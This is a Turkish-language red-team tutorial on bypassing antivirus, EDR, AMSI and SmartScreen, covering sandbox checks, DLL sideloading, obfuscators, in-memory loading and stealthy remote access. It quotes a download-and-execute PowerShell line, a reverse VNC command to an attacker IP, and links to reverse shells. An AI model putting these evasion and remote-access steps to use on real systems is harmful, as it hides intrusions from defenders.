Antivirus (AV) Bypass
Last updated
Last updated
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
Bu sayfa @m2rc_p** tarafından yazılmıştır!**
Şu anda, AV'ler bir dosyanın kötü amaçlı olup olmadığını kontrol etmek için farklı yöntemler kullanıyor; statik tespit, dinamik analiz ve daha gelişmiş EDR'ler için davranışsal analiz.
Statik tespit, bilinen kötü amaçlı dizeleri veya bayt dizilerini bir ikili dosyada veya betikte işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçınmanın birkaç yolu vardır:
Şifreleme
Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
Obfuscation (Karmaşıklaştırma)
Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi karmaşıklaştırmaya çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
Özel araçlar
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
Windows Defender'ın statik tespitine karşı kontrol etmenin iyi bir yolu ThreatCheck'dir. Temelde dosyayı birden fazla parçaya ayırır ve ardından Defender'a her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
Bu YouTube çalma listesine göz atmanızı şiddetle tavsiye ederim, pratik AV Kaçınma hakkında.
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kum havuzlarından kaçınmak için yapabileceğiniz bazı şeyler var.
Çalıştırmadan önce uyku Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV'nin kum havuzlarının, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir.
Makinenin kaynaklarını kontrol etme Genellikle kum havuzlarının çalışacak çok az kaynağı vardır (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kum havuzunda uygulanmayabilir.
Makineye özgü kontroller Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızı kapatabilirsiniz.
Microsoft Defender'ın Kum Havuzu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kum havuzunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
Kum havuzlarına karşı gitmek için @mgeeky tarafından verilen bazı diğer gerçekten iyi ipuçları
Bu yazıda daha önce söylediğimiz gibi, kamu araçları sonunda tespit edilecektir, bu nedenle kendinize bir şey sormalısınız:
Örneğin, LSASS'ı dökmek istiyorsanız, gerçekten mimikatz kullanmanız gerekiyor mu? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir proje mi kullanabilirsiniz?
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri atlatmak için onunla çalışmak bir kabus haline gelebilir, bu nedenle neyi başarmaya çalışıyorsanız alternatifler arayın.
Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da otomatik örnek gönderimini kapatmayı unutmayın ve lütfen, cidden, VIRUSTOTAL'A YÜKLEMEYİN eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
Mümkün olduğunda, her zaman kaçınma için DLL'leri kullanmayı önceliklendirin, deneyimlerime göre, DLL dosyaları genellikle çok daha az tespit edilir ve analiz edilir, bu nedenle bazı durumlarda tespiti önlemek için kullanmak için çok basit bir hiledir (tabii ki yükünüzün bir DLL olarak çalıştırılma yolu varsa).
Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir.
Şimdi DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz.
DLL Sideloading, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
DLL Sideloading'e duyarlı programları kontrol etmek için Siofra ve aşağıdaki powershell betiğini kullanabilirsiniz:
Bu komut, "C:\Program Files\" içindeki DLL hijacking'e duyarlı programların listesini ve yüklemeye çalıştıkları DLL dosyalarını çıktılar.
DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi şiddetle tavsiye ederim, bu teknik düzgün yapıldığında oldukça gizli, ancak kamuya mal olmuş DLL Sideloadable programları kullanırsanız, kolayca yakalanabilirsiniz.
Kötü niyetli bir DLL'yi, bir programın yüklemeyi beklediği isimle yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, DLL Proxying/Forwarding adı verilen başka bir teknik kullanacağız.
DLL Proxying, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları ileterek, programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
@flangvik tarafından yapılan SharpDLLProxy projesini kullanacağım.
Aşağıda izlediğim adımlar:
Son komut bize 2 dosya verecek: bir DLL kaynak kodu şablonu ve orijinal yeniden adlandırılmış DLL.
Bunlar sonuçlar:
Hem shellcode'umuz ( SGN ile kodlanmış) hem de proxy DLL, antiscan.me üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım.
Kesinlikle öneririm S3cur3Th1sSh1t'in twitch VOD'unu DLL Sideloading hakkında izlemenizi ve ayrıca ippsec'in videosunu daha derinlemesine tartıştığımız konuları öğrenmek için izlemenizi.
Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır
Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve yürütmek için kullanabilirsiniz.
Kaçış, sadece bir kedi ve fare oyunudur; bugün işe yarayan bir şey yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
AMSI, "dosyasız kötü amaçlı yazılım"ı önlemek için oluşturulmuştur. Başlangıçta, antivirüsler yalnızca diskteki dosyaları tarayabiliyordu, bu nedenle bir şekilde yükleri doğrudan bellek içinde çalıştırabiliyorsanız, antivirüs bunun önüne geçmek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir.
Kullanıcı Hesabı Denetimi veya UAC (EXE, COM, MSI veya ActiveX yüklemesi yükseltmesi)
PowerShell (betikler, etkileşimli kullanım ve dinamik kod değerlendirmesi)
Windows Script Host (wscript.exe ve cscript.exe)
JavaScript ve VBScript
Office VBA makroları
Antivirüs çözümlerinin, şifrelenmemiş ve karmaşıklaştırılmamış bir biçimde betik içeriğini açığa çıkararak betik davranışını incelemesine olanak tanır.
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
komutunu çalıştırmak, Windows Defender'da aşağıdaki uyarıyı üretecektir.
Betik çalıştırılan yürütülebilir dosyanın yolunu amsi:
ile önceden eklediğine dikkat edin; bu durumda, powershell.exe.
Diskte herhangi bir dosya bırakmadık, ancak yine de AMSI nedeniyle bellek içinde yakalandık.
AMSI'yi aşmanın birkaç yolu vardır:
Karmaşıklaştırma
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir.
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmez. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görür, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
AMSI Aşma
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, yetkisiz bir kullanıcı olarak çalışırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
Bir Hata Zorlamak
AMSI başlatılmasının başarısız olmasını sağlamak (amsiInitFailed), mevcut süreç için hiçbir taramanın başlatılmayacağı anlamına gelir. Bu, başlangıçta Matt Graeber tarafından açıklanmış ve Microsoft, daha geniş kullanımını önlemek için bir imza geliştirmiştir.
Tek gereken, mevcut powershell işlemi için AMSI'yi kullanılamaz hale getirmek için bir satır powershell koduydu. Bu satır elbette AMSI tarafından işaretlendi, bu nedenle bu tekniği kullanmak için bazı değişiklikler gereklidir.
İşte bu Github Gist'ten aldığım değiştirilmiş bir AMSI bypass.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Bu teknik, @RastaMouse tarafından ilk olarak keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir; bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
Lütfen daha ayrıntılı bir açıklama için https://rastamouse.me/memory-patching-amsi-bypass/ adresini okuyun.
Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunlar hakkında daha fazla bilgi edinmek için bu sayfayı ve bu repoyu kontrol edin.
Ya da bu script, bellek yamanması yoluyla her yeni Powersh'i yamanlayacaktır.
C# düz metin kodunu obfuscate etmek, ikili dosyaları derlemek için metaprogramming şablonları oluşturmak veya derlenmiş ikili dosyaları obfuscate etmek için kullanılabilecek birkaç araç vardır:
InvisibilityCloak: C# obfuscator
Obfuscator-LLVM: Bu projenin amacı, kod obfuscation ve değiştirilmezlik sağlamak için yazılım güvenliğini artırabilen açık kaynaklı bir LLVM derleme paketinin bir çatalını sağlamaktır.
ADVobfuscator: ADVobfuscator, C++11/14
dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod oluşturmayı gösterir.
obfy: Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
Alcatraz: Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır.
metame: Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur.
ropfuscator: ROPfuscator, ROP (return-oriented programming) kullanan LLVM destekli diller için ince taneli bir kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
Nimcrypt: Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır.
inceptor: Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükleyebilir.
İnternetten bazı yürütülebilir dosyaları indirip çalıştırırken bu ekranı görmüş olabilirsiniz.
Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumayı amaçlayan bir güvenlik mekanizmasıdır.
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır; bu, alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
MoTW (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir NTFS Alternatif Veri Akışıdır ve indirildiği URL ile birlikte gelir.
Güvenilir bir imza sertifikası ile imzalanmış yürütülebilir dosyaların SmartScreen'i tetiklemeyeceğini belirtmek önemlidir.
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) non NTFS hacimlere uygulanamayacağı için gerçekleşir.
PackMyPayload payload'ları Mark-of-the-Web'den kaçınmak için çıktı konteynerlerine paketleyen bir araçtır.
Örnek kullanım:
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload
C# ikili dosyalarını belleğe yüklemek bir süredir bilinmektedir ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yoludur.
Payload doğrudan belleğe yüklenip diske dokunulmayacağı için, tüm süreç için AMSI'yi yamanmakla endişelenmemiz gerekecek.
Çoğu C2 framework'ü (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
Fork&Run
Bu, yeni bir fedai süreç oluşturmayı içerir, post-exploitation kötü niyetli kodunuzu o yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin dışında Beacon implant sürecimizde gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, implantımızın hayatta kalma şansının çok daha yüksek olduğu anlamına gelir. Dezavantajı ise Davranışsal Tespitler tarafından yakalanma şansınızın daha yüksek olmasıdır.
Inline
Bu, post-exploitation kötü niyetli kodu kendi sürecine enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturmak ve AV tarafından taranmasını sağlamak zorunda kalmazsınız, ancak dezavantajı, payload'unuzun yürütülmesinde bir şeyler ters giderse, beacon'ınızı kaybetme şansınızın çok daha yüksek olmasıdır çünkü çökebilir.
C# Assembly yükleme hakkında daha fazla bilgi almak isterseniz, lütfen bu makaleyi kontrol edin https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ ve onların InlineExecute-Assembly BOF'unu (https://github.com/xforcered/InlineExecute-Assembly)
C# Derlemelerini PowerShell'den de yükleyebilirsiniz, Invoke-SharpLoader ve S3cur3th1sSh1t'in videosunu kontrol edin.
https://github.com/deeexcee-io/LOI-Bins adresinde önerildiği gibi, tehlikeye atılmış makineye Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim vererek diğer dilleri kullanarak kötü niyetli kod çalıştırmak mümkündür.
Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişim izni vererek, tehlikeye atılmış makinenin belleğinde bu dillerde rastgele kod çalıştırabilirsiniz.
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak statik imzaları atlatmak için daha fazla esnekliğe sahip olduğumuzu belirtmektedir. Bu dillerde rastgele obfuscate edilmemiş ters kabuk betikleri ile yapılan testler başarılı olmuştur.
Kaçış, çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır.
Daha Gelişmiş Kaçış tekniklerine giriş yapmak için @ATTL4S tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
Bu da @mariuszbit tarafından Kaçış Derinliği hakkında yapılan başka bir harika konuşmadır.
ThreatCheck kullanabilirsiniz, bu araç ikili dosyanın kısımlarını kaldıracak ve Defender'ın kötü niyetli bulduğu kısmı bulana kadar devam edecektir ve bunu size ayıracaktır. Aynı şeyi yapan başka bir araç ise avred olup, hizmeti https://avred.r00ted.ch/ adresinde sunmaktadır.
Windows 10'a kadar, tüm Windows'lar Telnet sunucusu ile birlikte geliyordu ve bunu (yönetici olarak) şu şekilde yükleyebiliyordunuz:
Başlatıldığında sistem açıldığında ve şimdi çalıştır:
Telnet portunu değiştir (gizli) ve güvenlik duvarını devre dışı bırak:
Download it from: http://www.uvnc.com/downloads/ultravnc.html (kurulum değil, bin indirmelerini almak istiyorsunuz)
HOST'TA: winvnc.exe dosyasını çalıştırın ve sunucuyu yapılandırın:
Disable TrayIcon seçeneğini etkinleştirin
VNC Password kısmına bir şifre girin
View-Only Password kısmına bir şifre girin
Ardından, ikili winvnc.exe ve yeni oluşturulan UltraVNC.ini dosyasını kurbanın içine taşıyın.
Saldırgan, kendi host'unda vncviewer.exe -listen 5900
ikilisini çalıştırmalı, böylece ters VNC bağlantısını yakalamaya hazır olacaktır. Ardından, kurban içinde: winvnc daemon'ını winvnc.exe -run
ile başlatın ve winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
komutunu çalıştırın.
UYARI: Gizliliği korumak için bazı şeyleri yapmamalısınız
winvnc
zaten çalışıyorsa başlatmayın, aksi takdirde bir popup tetiklersiniz. Çalışıp çalışmadığını tasklist | findstr winvnc
ile kontrol edin
Aynı dizinde UltraVNC.ini
olmadan winvnc
başlatmayın, aksi takdirde konfigürasyon penceresi açılır
Yardım için winvnc -h
çalıştırmayın, aksi takdirde bir popup tetiklersiniz
Download it from: https://github.com/GreatSCT/GreatSCT
İçinde GreatSCT:
Şimdi lister'ı başlatın msfconsole -r file.rc
ile ve xml yükünü şu şekilde çalıştırın:
Mevcut savunucu süreci çok hızlı bir şekilde sonlandıracaktır.
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Bunu ile derleyin:
Kullanmak için:
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Otomatik indirme ve yürütme:
C# obfuscator listesi: https://github.com/NotPrab/.NET-Obfuscator
Eğer hackleme kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)